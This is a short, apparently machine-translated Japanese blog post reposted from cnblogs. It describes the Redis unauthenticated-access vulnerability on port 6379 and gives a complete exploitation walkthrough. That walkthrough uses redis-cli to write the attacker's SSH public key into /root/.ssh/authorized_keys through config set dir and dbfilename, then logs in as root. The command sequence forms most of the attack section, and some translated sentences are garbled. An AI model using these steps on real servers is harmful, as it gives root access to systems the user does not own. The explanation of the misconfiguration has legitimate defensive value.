redis不正アクセス・ホールの概要

3625 ワード

Redisは、ANSI C言語を使用して作成され、ネットワークをサポートし、メモリベースで持続可能なログ型、Key-Valueデータベースであり、複数の言語のAPIを提供しています.
脆弱性の紹介:
Redisのデフォルトでは、0.0.0.0:6379にバインドされます.これにより、Redisサービスはパブリックネットワークに暴露されます.認証がオンになっていない場合、ターゲット・サーバにアクセスできる場合、任意のユーザーがRedisにアクセスできず、Redisのデータを読み取ることができません.攻撃者は、Redisへのアクセスが許可されていない場合、Redisに関する方法を利用して、Redisサーバに公開鍵を書き込むことに成功し、対応する秘密鍵を使用してターゲットサーバに直接ログインすることができる.
脆弱性の説明:
一部のRedisは0.0.0.0:6379にバインドされており、認証は開始されていません(これはRedisのデフォルト構成です).ファイアウォールルールを追加して他の信頼されていないソースipアクセスを回避するなど、関連するポリシーを採用していないと、Redisサービスが公開ネットワークに直接露出し、他のユーザーがRedisサービスに直接アクセスし、関連する操作を行うことができます.
Redis自身が提供するconfigコマンドにより、書き込みファイル操作を行うことができ、攻撃者は自分の公開鍵をターゲットサーバの/root/に書き込むことに成功する.sshフォルダのauthorized_keysファイルでは、さらに対応する秘密鍵を直接使用してターゲットサーバにログインすることができる.
脆弱性の利用:
まず、公開鍵ファイルをローカルで作成します.
$ ssh-keygen –t rsa

その後、fooに公開鍵を書き込む.txtファイル:
$ (echo -e "

"; cat id_rsa.pub; echo -e "

") > foo.txt

接続Redis書き込みファイル:
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

ここで説明すると、ここではcrackitのキー値を公開鍵に設定し、redisコマンドでRedis DBファイルおよび格納場所をデフォルトrootユーザSSH key格納ファイルに変更し、キー値のリダイレクトをリモートファイルauthorized_に追加するkeysの末尾には、公開鍵もアップロードされています.
これにより、自分の公開鍵を/root/.sshフォルダのauthorized_keysファイルで、攻撃者が直接実行します.
$ ssh –i  id_rsa root@192.168.1.11

リモートで独自の秘密鍵を使用してサーバにログインできます.
公開鍵登録とRedis永続化のデータ格納操作について述べたばかりで、ここでは原理を簡単に説明します.
 
転載先:https://www.cnblogs.com/pythonal/p/10069985.html